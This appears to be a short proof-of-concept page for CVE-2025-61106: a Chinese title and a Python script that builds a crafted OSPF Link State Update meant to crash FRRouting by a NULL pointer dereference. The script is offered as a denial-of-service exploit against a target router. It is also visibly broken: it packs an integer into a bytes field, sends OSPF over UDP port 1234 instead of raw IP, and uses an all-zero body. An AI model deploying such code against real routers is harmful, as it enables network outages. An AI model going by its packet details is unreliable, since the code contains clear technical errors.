CVE-2025-61106 FRRouting OSPF NULL指针解引用拒绝服务漏洞

# CVE-2025-61106 PoC - FRRouting NULL Pointer Dereference in OSPF # This PoC demonstrates sending a crafted OSPF packet to trigger the vulnerability import socket import struct import random def create_crafted_osfp_packet(): """Create a malicious OSPF LSA packet to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSU (Link State Update) packet_length = 0 router_id = socket.inet_aton('10.0.0.1') area_id = socket.inet_aton('0.0.0.0') checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, packet_length, router_id, area_id, checksum, auth_type) + auth # OSPF LSA Header - crafted to trigger vulnerability lsa_age = 1 lsa_type = 10 # Opaque LSA (Extended Prefix) lsa_id = random.randint(1, 255) lsa_adv_router = socket.inet_aton('10.0.0.2') lsa_seq = 0x80000001 lsa_chksum = 0 lsa_length = 0 lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, lsa_id, lsa_adv_router, lsa_seq, lsa_chksum, lsa_length) # Crafted LSA body with malicious prefix SID information # This triggers NULL pointer in show_vty_ext_pref_pref_sid function lsa_body = b'\x00' * 100 # Malformed data causing NULL dereference return ospf_header + lsa_header + lsa_body def send_crafted_packet(target_ip, target_port=1234): """Send the crafted OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_crafted_osfp_packet() sock.sendto(packet, (target_ip, target_port)) sock.close() print(f"Crafted OSPF packet sent to {target_ip}") # Usage: send_crafted_packet('target_router_ip') # Note: Requires network access to the target OSPF neighbor # This PoC triggers NULL pointer dereference in FRRouting ospf_ext.c